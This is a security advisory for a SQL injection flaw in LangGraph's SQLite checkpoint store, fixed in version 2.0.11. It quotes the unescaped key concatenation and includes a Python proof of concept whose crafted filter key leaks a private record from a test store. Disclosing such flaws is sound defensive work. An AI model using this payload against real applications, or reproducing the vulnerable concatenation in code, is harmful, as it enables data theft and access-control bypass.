GHSA-7p73-8jqx-23r8
LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | langgraph-checkpoint-sqlite | < 2.0.11 | 2.0.11 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.
### Details
[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)
The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.
```python
filter_conditions.append(
"json_extract(value, '$."
+ key # <-- Directly concatenated, no escaping!
+ "') = '"
+ value.replace("'", "''") # <-- Only value is escaped
+ "'"
)
```
### Who is affected
This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**.
An application is vulnerable only if it:
1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**
2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).
If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.
Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.
### PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._
```python
#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""
from langgraph.store.sqlite import SqliteStore
# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
store.setup()
# Add public and private documents
store.put(("docs",), "public", {"access": "public", "data": "public info"})
store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
# Normal query - returns 1 public document
normal = store.search(("docs",), filter={"access": "public"})
print(f"Normal query: {len(normal)} docs")
# SQL injection via malicious key
malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
injected = store.search(("docs",), filter={malicious_key: "dummy"})
print(f"Injected query: {len(injected)} docs")
for doc in injected:
if doc.value.get("access") == "private":
print(f"LEAKED: {doc.value}")
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8
- https://nvd.nist.gov/vuln/detail/CVE-2025-64104
- https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4
- https://github.com/langchain-ai/langgraph
- https://github.com/pypa/advisory-database/tree/main/vulns/langgraph-checkpoint-sqlite/PYSEC-2026-1529.yaml